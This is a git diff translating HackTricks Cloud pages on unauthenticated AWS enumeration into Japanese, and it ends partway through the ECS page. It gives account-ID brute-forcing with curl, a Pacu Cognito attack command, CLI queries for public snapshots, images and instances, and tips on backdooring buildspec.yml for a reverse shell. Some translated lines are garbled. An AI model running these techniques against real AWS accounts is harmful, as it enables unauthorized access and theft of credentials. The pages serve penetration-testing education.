アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**や**組織の従業員**の**Github**や他のプラットフォームの**公開リポジトリ**をチェックしたり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報を見つける可能性のある他の場所を探したりできます。\ +いくつかの便利な**ツール**： - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## AWS 認証なしの列挙とアクセス -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +AWS には、インターネット全体または予想以上の多くの人々にアクセスを提供するように構成できるサービスがいくつかあります。ここで確認してください： -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**アカウントの認証なし列挙**](aws-accounts-unauthenticated-enum.md) +- [**Cloud9 認証なし列挙**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cloudfront 認証なし列挙**](aws-cloudfront-unauthenticated-enum.md) +- [**Cloudsearch 認証なし列挙**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cognito 認証なし列挙**](aws-cognito-unauthenticated-enum.md) +- [**DocumentDB 認証なし列挙**](aws-documentdb-enum.md) +- [**EC2 認証なし列挙**](aws-ec2-unauthenticated-enum.md) +- [**Elasticsearch 認証なし列挙**](aws-elasticsearch-unauthenticated-enum.md) +- [**IAM 認証なし列挙**](aws-iam-and-sts-unauthenticated-enum.md) +- [**IoT 認証なしアクセス**](aws-iot-unauthenticated-enum.md) +- [**Kinesis Video 認証なしアクセス**](aws-kinesis-video-unauthenticated-enum.md) +- [**Media 認証なしアクセス**](aws-media-unauthenticated-enum.md) +- [**MQ 認証なしアクセス**](aws-mq-unauthenticated-enum.md) +- [**MSK 認証なしアクセス**](aws-msk-unauthenticated-enum.md) +- [**RDS 認証なしアクセス**](aws-rds-unauthenticated-enum.md) +- [**Redshift 認証なしアクセス**](aws-redshift-unauthenticated-enum.md) +- [**SQS 認証なしアクセス**](aws-sqs-unauthenticated-enum.md) +- [**S3 認証なしアクセス**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## クロスアカウント攻撃 -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +トークである [**隔離の破壊：クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**アカウント ID を指定しない AWS サービス**が許可されていたため、任意の AWS アカウントがそれらにアクセスできることが示されています。 -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +トーク中に、S3 バケットが**任意の AWS アカウント**の**cloudtrail**を**書き込むことを許可している**など、いくつかの例が示されています： ![](<../../../images/image (260).png>) -Other services found vulnerable: +他に見つかった脆弱なサービス： - AWS Config -- Serverless repository +- Serverless リポジトリ -## Tools +## ツール -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): マルチクラウド OSINT ツール。AWS、Azure、Google Cloud の**公開リソースを見つける**。サポートされている AWS サービス：オープン / 保護された S3 バケット、awsapps (WorkMail、WorkDocs、Connect など) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..3791097e6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## アカウントID -If you have a target there are ways to try to identify account IDs of accounts related to the target. +ターゲットがある場合、ターゲットに関連するアカウントのアカウントIDを特定する方法があります。 -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### ブルートフォース +潜在的なアカウントIDとエイリアスのリストを作成し、それらをチェックします。 ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +You can [自動化するこのプロセスはこのツールで](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +`.signin.aws.amazon.com` を含むURLを探してください。**組織に関連するエイリアス**を使用してください。 ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +ベンダーが**マーケットプレイスにインスタンスを持っている場合、**彼が使用したAWSアカウントのオーナーID（アカウントID）を取得できます。 ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- 公開EBSスナップショット (EC2 -> Snapshots -> Public Snapshots) +- RDS公開スナップショット (RDS -> Snapshots -> All Public Snapshots) +- 公開AMI (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +多くのAWSエラーメッセージ（アクセス拒否を含む）は、その情報を提供します。 ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..c6f2887cd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,57 +4,49 @@ ### API Invoke bypass -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): - +According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出すための権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +このエンドポイントを呼び出すための権限を与える方法の問題は、**"\*"が「何でも」を意味し**、**正規表現の構文がサポートされていない**ことです。 -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +いくつかの例： -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- 各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるためのルール`arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`は、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。 > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> **"\*"はスラッシュでの拡張を止めない**ことに注意してください。したがって、例えばapi-idで"\*"を使用すると、最終的な正規表現が有効である限り、「任意のステージ」や「任意のメソッド」を示す可能性もあります。\ +> したがって、`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> は、例えば`/prod/GET/dashboard/admin`へのテストステージへのポストリクエストを検証できます。 -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +アクセスを許可したいものを常に明確にし、与えられた権限で他のシナリオが可能かどうかを確認する必要があります。 -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +詳細については、[**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)の他に、[**この公式aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)でオーソライザーを実装するためのコードを見つけることができます。 -### IAM Policy Injection +### IAMポリシーインジェクション -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード（および"."や特定の文字列など）が**制限を回避する**目的で含まれる可能性があることが明らかにされています。 +### 公開URLテンプレート ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### 公開API Gateway URLからアカウントIDを取得する -### Get Account ID from public API Gateway URL +S3バケット、Data Exchange、Lambda URLゲートウェイと同様に、公開API Gateway URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\ +この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます（いくつかのデフォルトの興味深いものがあります）。 -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..68f568e9f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..0d5a23a36 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,10 +1,10 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - CodeBuild 無認証アクセス {{#include ../../../banners/hacktricks-training.md}} ## CodeBuild -For more info check this page: +詳細については、このページを確認してください： {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を流出させ、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することができます。 -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合（または別のCI/CDが使用されている場合）、実行される**正当なコードを修正する**ことで、例えばリバースシェルを取得することも可能です。 -For some related information you could check the page about how to attack Github Actions (similar to this): +関連情報については、Github Actionsを攻撃する方法に関するページを確認してください（これに類似しています）： {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## AWS CodeBuildにおける自己ホスト型GitHub Actionsランナー +[**ドキュメントに示されているように**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html)、**CodeBuild**を構成して、設定されたGithubリポジトリ内でワークフローがトリガーされたときに**自己ホスト型Githubアクション**を実行することが可能です。これは、**`Event type`**が**`WORKFLOW_JOB_QUEUED`**を含む必要があるため、CodeBuildプロジェクトの設定を確認することで検出できます。また、Githubワークフロー内では、次のように**自己ホスト型**ランナーが選択されます： ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +このGithub ActionsとAWSの新しい関係は、GithubからAWSを妥協させる別の方法を生み出します。Githubのコードは、IAMロールが付与されたCodeBuildプロジェクトで実行されます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..ff88d4c49 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## Unauthenticated Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognitoは、開発者が**アプリのユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザーにIAMロールを付与**し（潜在的に誰でもサインアップできる可能性があります）、**認証されていないユーザーにもIAMロールを付与**することができます。 -For basic info about Cognito check: +Cognitoに関する基本情報は以下を確認してください： {{#ref}} ../aws-services/aws-cognito-enum/ @@ -14,39 +14,31 @@ For basic info about Cognito check: ### Identity Pool ID -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +アイデンティティプールは、**アイデンティティプールIDを知っているだけの認証されていないユーザーにIAMロールを付与**することができ（これは比較的一般的に**見つける**ことができます）、この情報を持つ攻撃者はその**IAMロールにアクセスし**、それを悪用しようとする可能性があります。\ +さらに、IAMロールはアイデンティティプールにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにアイデンティティプールで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証されたユーザーに付与されるIAMロールにアクセス**し、その特権を悪用することができます。 -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。 ### User Pool ID -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +デフォルトでは、Cognitoは**新しいユーザーを登録する**ことを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognitoユーザープールをアイデンティティプロバイダーとして受け入れている**アイデンティティプールの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。 ### Pacu modules for pentesting and enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。 -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 #### Usage -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +サンプルの`cognito__attack`の使用法は、特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです： ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..35bea6646 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..a77151b64 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - DynamoDB 認証なしアクセス {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +AWSへのアクセスを提供する以外に、すべてのAWSまたは一部の侵害された外部AWSアカウントへのアクセス、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする方法はわかりません。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..7d639d8f2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,18 +1,18 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 および関連サービス -Check in this page more information about this: +このページで詳細情報を確認してください： {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### 公開ポート -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +**仮想マシンの任意のポートをインターネットに公開する**ことが可能です。公開されたポートで**何が実行されているか**によって、攻撃者がそれを悪用する可能性があります。 #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### 公開 AMI および EBS スナップショット +AWS は **誰でも AMI とスナップショットをダウンロードするアクセスを提供する**ことを許可しています。これらのリソースは、自分のアカウントから非常に簡単にリストできます： ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +もし誰でも復元可能なスナップショットを見つけた場合は、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認して、スナップショットのダウンロードと略奪に関する指示を確認してください。 -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### 公開URLテンプレート ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### パブリックIPを持つEC2インスタンスを列挙する ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..88a9e3229 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,38 +1,30 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### 公開レジストリリポジトリ（イメージ） +ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws//`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる**。 ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> これは、レジストリポリシーまたはリポジトリポリシーが**「AWS": "*"**にアクセスを許可している**プライベートレジストリ**でも発生する可能性があります。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。 -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### プライベートリポジトリの列挙 +ツール[**skopeo**](https://github.com/containers/skopeo)と[**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。 ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..7e6e888c9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,19 +1,18 @@ -# AWS - ECS Unauthenticated Enum +# AWS - 